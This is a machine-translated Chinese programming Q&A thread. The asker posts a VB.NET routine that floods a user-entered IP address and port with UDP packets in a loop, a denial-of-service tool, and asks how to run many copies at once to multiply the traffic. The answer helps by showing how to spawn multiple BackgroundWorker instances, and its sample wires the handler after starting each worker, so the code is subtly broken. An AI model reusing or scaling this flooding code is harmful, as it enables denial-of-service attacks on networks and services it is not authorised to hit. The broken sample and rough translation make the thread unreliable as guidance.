我有一个在循环中运行的私有子。我希望sub能够一次运行多次。例如程序运行,你按开始;你再次运行程序,然后按开始,一次又一次......同一个程序一次完成工作。现在我只想让一个程序独自完成它。但我希望它是用户定义的。进出口。运行程序。在文本框中键入10.按开始。并且好像其中10个工作在同一个东西上工作。
我见过用vb.net 2010制作的另一个程序及其使用的内容,不知道该怎么做。所以我只是想知道。
Private Sub Flood1(ByVal sender As Object, ByVal e As DoWorkEventArgs) Handles Flood.DoWork
Dim IP As IPAddress = IPAddress.Parse(TextBox1.Text)
Dim IPPort As New IPEndPoint(IP, Convert.ToInt32(TextBox2.Text))
Dim PacketS As Byte() = New Byte(TextBox3.Text) {}
Dim SocketN As Integer = Convert.ToInt32(TextBox4.Text)
Do While Flooding = True
For i = 0 To SocketN
If Flooding = True Then
Dim _Sock(i) As Socket
_Sock(i) = New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
Try
_Sock(i).SendTo(PacketS, IPPort)
Threading.Thread.Sleep(500)
Catch ex As Exception
Threading.Thread.Sleep(500)
End Try
Else
Exit Do
End If
Next
Loop
End Sub
通常希望用户选择一次又一次地完成这项工作......有点希望不使用此代码,否则可能无法获得帮助。
答案 0 :(得分:1)
您可以使用后台工作程序。 一旦你知道你想要做多少工人 只需创建那些后台工作者的许多实例。 告诉我这是否是您正在寻找的答案
示例源代码
Imports System.ComponentModel
Module Module1
Sub Main()
Console.WriteLine("Please enter the worker count:")
Dim workerCount As Integer = Console.ReadLine()
For i As Int16 = 0 To workerCount
Dim worker As BackgroundWorker = New BackgroundWorker
worker.RunWorkerAsync(i + 1)
AddHandler worker.DoWork, AddressOf Worker_DoWork
Next
End Sub
Private Sub Worker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
Console.WriteLine(e.Argument.ToString())
End Sub
End Module